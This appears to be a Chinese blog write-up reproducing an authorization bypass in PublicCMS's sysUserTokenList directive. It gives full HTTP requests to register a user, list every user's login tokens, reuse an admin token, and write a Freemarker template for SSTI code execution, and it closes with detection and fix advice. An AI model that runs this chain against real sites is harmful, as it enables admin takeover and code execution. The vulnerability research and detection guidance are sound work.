PublicCMS sysUserTokenList 接口权限绕过漏洞复现
PublicCMS sysUserTokenList 接口权限绕过漏洞复现
0x00 漏洞概述
PublicCMS 是一款基于 Spring MVC + Hibernate + Freemarker 技术栈的开源 Java 内容管理系统,提供内容管理、模板管理、用户与权限管理等能力,常见于政企与媒体类站点。
我在梳理其 API 指令层时注意到,系统提供的用户登录授权列表查询指令 sysUserTokenList 在权限控制上存在明显缺陷:该指令只要求调用者携带任意一个有效的登录令牌,并未校验调用者是否为管理员,也未校验所查询的数据是否属于调用者本人。这意味着任何能够注册账号的攻击者,都可以在注册后立即拿到全站用户的登录令牌列表——其中自然包括管理员令牌。持有管理员令牌后,攻击者可以直接冒充管理员身份访问后台,甚至进一步通过后台模板管理功能写入恶意模板,实现模板注入(SSTI)级别的代码执行。
0x01 影响范围
我核对了官方仓库公开的指令源码:V5 分支中 SysUserTokenListDirective 的实现即为存在缺陷的版本,也就是说缺陷代码在当前公开主干中可见。具体受影响版本区间,公开渠道未提供,本文不作推测。
资产识别方面,可通过 HTTP 响应头或页面内容中包含 Publiccms 特征来识别目标是否为该系统。
0x02 漏洞分析
PublicCMS 的 API 指令体系建立在统一的模板指令基类之上,各指令通过覆写鉴权声明方法来声明自身的访问门槛。查看 SysUserTokenListDirective 源码,可以确认两个关键事实:
其一,该指令的鉴权声明是 needUserToken() 返回 true——含义是"只要携带任意登录用户的令牌即可调用",而不是要求管理员身份。其二,execute() 方法直接把调用方传入的 userId 参数交给 SysUserTokenService.getPage() 执行查询,中间没有任何数据归属校验或角色判断。
@Override
public void execute(RenderHandler handler) throws IOException, TemplateException {
PageHandler page = service.getPage(getSite(handler).getId(), getUserId(handler, "userId"), ...);
handler.put("page", page).render();
}
@Override
public boolean needUserToken() {
return true;
}也就是说,攻击者用自己的普通用户令牌调用该接口、并把 userId 留空时,返回的就是全站用户的令牌分页列表,列表实体 SysUserToken 中携带 authToken 字段。由于管理员的登录令牌与普通用户的登录令牌同存于同一张授权表中(此点为基于返回实体结构的推断),列表中会混入管理员令牌。
0x03 利用链与请求包
完整利用链为:注册普通用户获取凭证 → 越权调用令牌列表接口拿全站令牌 → 冒用管理员令牌确认身份 →(可选)后台写模板触发 SSTI。以下请求包以带 /publiccms 上下文路径的部署形态为例;文中凭证均为示例化后的随机值。
第一步,注册用户。 先向 /doRegister 发送一个空的 POST 探测部署形态:若返回 302 且 Location 中同时含有 error 与 verify,说明站点带 /publiccms 上下文路径。随后正式注册:
POST /publiccms/doRegister HTTP/1.1
Host: target.local
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
Content-Length: 109
name=a3f9c2_7b41e9d0&nickName=a3f9c2_7b41e9d0&password=5d1e8f_2c7a49b3&repassword=5d1e8f_2c7a49b3&returnUrl=/注册成功返回 302,并在 Set-Cookie 中下发 PUBLICCMS_USER=<userId>_<authToken>,以下划线拆分即可得到 authUserId 与 authToken。
第二步,越权查询全站用户令牌。 用刚拿到的凭证调用问题接口:
GET /publiccms/api/directive/sysUserTokenList?authUserId=7&authToken=c41d8e07f2a94b6d9e3c5a8f1b7d2e04&userId=&pageIndex=1&pageSize=10 HTTP/1.1
Host: target.local
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36正常情况下响应为 200,返回形如 {"page":{...,"list":[...]}} 的分页 JSON,list 中每一项都包含 userId 与 authToken 字段——这里返回的并不只是当前用户自己的令牌,而是全站用户的令牌集合,权限绕过即在此处成立。
第三步,冒用令牌验证管理员身份。 将列表中的 userId_authToken 拼入 PUBLICCMS_ADMIN Cookie,访问后台用户管理接口逐一验证:
POST /publiccms/admin/sysUser/list HTTP/1.1
Host: target.local
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: xm lHttpRequest
Cookie: PUBLICCMS_ADMIN=1_c41d8e07f2a94b6d9e3c5a8f1b7d2e2f
Content-Length: 176
pageNum=1&numPerPage=30&orderField=&orderType=&name=&disabled=false&superuserAccess=&emailChecked=&startRegisteredDate=&endRegisteredDate=&startLastLoginDate=&endLastLoginDate=若响应为 200 且内容中出现 lastLoginDate、sysUser/、log/login.html?userId 等特征,即可确认该令牌对应有效的管理员身份,攻击者随后可直接以此 Cookie 登录后台。
第四步(危害延伸),后台模板写入触发 SSTI。 持有效管理员令牌后,向 /publiccms/admin/cmsTemplate/save 提交模板保存请求(_csrf 与模板路径均以令牌值填充,模板内容经 ba se64 与 URL 编码后放入 content 参数),其中可嵌入任意 Freemarker 表达式;随后访问 /publiccms/<authToken>.html,响应 <body> 中即为模板求值结果——利用程序以 ${100+10} 求值为 110 作为成功判据,若返回 500 则视为注入失败。完成后利用程序还会请求 /publiccms/admin/cmsTemplate/delete?path=%2F<authToken>.html&navTabId=cmsTemplate/list&_csrf=<authToken> 清理所写模板。此步骤为利用程序行为的如实记录,模板注入的实际可达性取决于目标站点的安全配置。
0x04 检测与修复建议
检测方面,建议排查访问日志中"普通用户 ID 调用 /api/directive/sysUserTokenList(或 sys/userTokenList)且返回 200"的记录,尤其是 userId 参数留空的请求;同时关注同一用户短期内注册、随即访问该接口的行为序列。修复方面:应在服务端对敏感指令严格校验调用者角色,令牌列表类接口仅限管理员访问,并引入基于角色的访问控制;同时建议及时升级到最新版本。

Wayyt 8小时前
最新评论